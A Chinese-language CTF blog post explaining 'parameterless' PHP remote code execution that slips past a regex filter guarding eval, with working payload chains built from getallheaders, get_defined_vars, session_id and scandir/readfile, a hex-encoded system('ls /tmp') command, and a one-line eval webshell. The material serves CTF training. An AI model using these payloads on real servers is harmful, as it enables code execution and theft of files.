CTF Web安全

PHP无参数RCE

Posted on 2020-01-02,6 min read

什么是无参数RCE,也就是不加参数只调用函数。远程执行代码

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

当有如上类型的过滤时,只允许执行a(b())这种类型的函数。只要带参数就拦截
方法一:
getallheaders()
#Apache中间件特有的函数
这个函数会以数组方式返回HTTP请求头的信息,如下

array(8) { 
    ["Host"]=> string(14) "106.14.114.127" 
    ["Connection"]=> string(10) "keep-alive" 
    ["Cache-Control"]=> string(9) "max-age=0" 
    ["Upgrade-Insecure-Requests"]=> string(1) "1" 
    ["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" 
    ["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
     ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" 
}

我们可以用eval(end(getallheaders()))
使用end函数取出请求头中的最后一位。然后放入eval函数。造成代码执行

方法二:
构造函数读文件等
通过php函数互相调用。构造读文件的函数
getcwd()
#返回当前路径/var/www/html
scandir()
#目录遍历
scandir(getcwd())
#相当于ls /var/www/html
dirname()
#返回绝对路径中的文件夹部分,比如/var/www/html,返回/var/www
那么我们就可以构造
scandir(dirname(getcwd()))
#查看/var/www的文件
scandir(dirname(dirname(getcwd())))
#查看/var下的文件
最后用
end()返回数组中的最后一个单元
reset()返回数组中的第一个单元
array_reverse()将数组反过来
next()返回数组中的下一个单元
获取对应的字符串
然后readfile()读取
能执行到什么程度。全看PHP函数的熟练度
方法三:
使用get_defined_vars()函数。由于getallheaders()函数有局限性。这里使用get_defined_vars函数
返回已知变量的数组
返回结果如下

array(4) {
  ["_GET"]=>
  array(1) {
    ["a"]=>
    string(29) "var_dump(get_defined_vars());"
  }
  ["_POST"]=>
  array(0) {
  }
  ["_COOKIE"]=>
  array(0) {
  }
  ["_FILES"]=>
  array(0) {
  }
}

当我们传入另外一个参数b=1时,返回如下

array(4) {
  ["_GET"]=>
  array(2) {
    ["a"]=>
    string(29) "var_dump(get_defined_vars());"
    ["b"]=>
    string(1) "1"
  }
  ["_POST"]=>
  array(0) {
  }
  ["_COOKIE"]=>
  array(0) {
  }
  ["_FILES"]=>
  array(0) {
  }
}

执行current(get_defined_vars()),返回

array(2) {
  ["a"]=>
  string(38) "var_dump(current(get_defined_vars()));"
  ["b"]=>
  string(1) "1"
}

OK。这里返回了两个对应数组。一个A。一个B。如果我们使用上面结束的end函数等。获取了b的值。是不是就能直接RCE,我在Centos环境下就不能返回当前数组。Windows就可以。。。看具体情况吧

当然还能利用FILES文件上传来RCE
array_reverse(get_defined_vars())
返回如下,通过将get_defined_vars()逆序然后使得files在第二个位置。就能通过next函数去调用

array(5) {
  ["_REQUEST"]=>
  array(1) {
    ["a"]=>
    string(44) "var_dump(array_reverse(get_defined_vars()));"
  }
  ["_FILES"]=>
  array(1) {
    ["73797374656d28276c73202f746d702729"]=>
    array(5) {
      ["name"]=>
      string(34) "73797374656d28276c73202f746d702729"
      ["type"]=>
      string(0) ""
      ["tmp_name"]=>
      string(22) "C:\Windows\phpB8B8.tmp"
      ["error"]=>
      int(0)
      ["size"]=>
      int(12)
    }
  }
  ["_COOKIE"]=>
  array(0) {
  }
  ["_POST"]=>
  array(0) {
  }
  ["_GET"]=>
  array(1) {
    ["a"]=>
    string(44) "var_dump(array_reverse(get_defined_vars()));"
  }
}

next(array_reverse(get_defined_vars()))

array(1) {
  ["73797374656d28276c73202f746d702729"]=>
  array(5) {
    ["name"]=>
    string(34) "73797374656d28276c73202f746d702729"
    ["type"]=>
    string(0) ""
    ["tmp_name"]=>
    string(22) "C:\Windows\php5131.tmp"
    ["error"]=>
    int(0)
    ["size"]=>
    int(12)
  }
}

解析来就继续获取,直到获取到我们命令的16进制
array_rand(next(array_reverse(get_defined_vars())))

string(34) "73797374656d28276c73202f746d702729"

获取成功。接下来就不用讲了。hex2bin解码。eval直接执行。实现无参数RCE,以下是Python脚本

当然还能利用SESSION
code=eval(hex2bin(session_id(session_start())));
session_id(session_start())会返回sessionid中的值。

然后利用hex2bin解码我们提交的16进制字符串。然后放入eval执行
这里为什么用16进制呢。因为session只能由A-Z,a-z,0-9组成。而eval函数需要;结尾。所以用16进制提交


网上一些其他的无参数payload:
print_r(highlight_file(next(array_reverse(scandir(pos(localeconv()))))));
var_dump(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime(time()))))))))))))));

扫描当前/根目录

highlight_file(end(scandir(getcwd())));
show_source(end(scandir(pos(localeconv()))));
print_r(scandir(current(localeconv())));
print_r(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));

还有

<?php
eval(filter_input(INPUT_POST, test))
?>

POST test:phpinfo();

{if show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))))}{/if}
随机取键值

show_source(current(array_slice(scandir(dirname(chdir(dirname(dirname(getcwd()))))),7)))
取数组第7个

下一篇: Python Flask SSTI模板注入→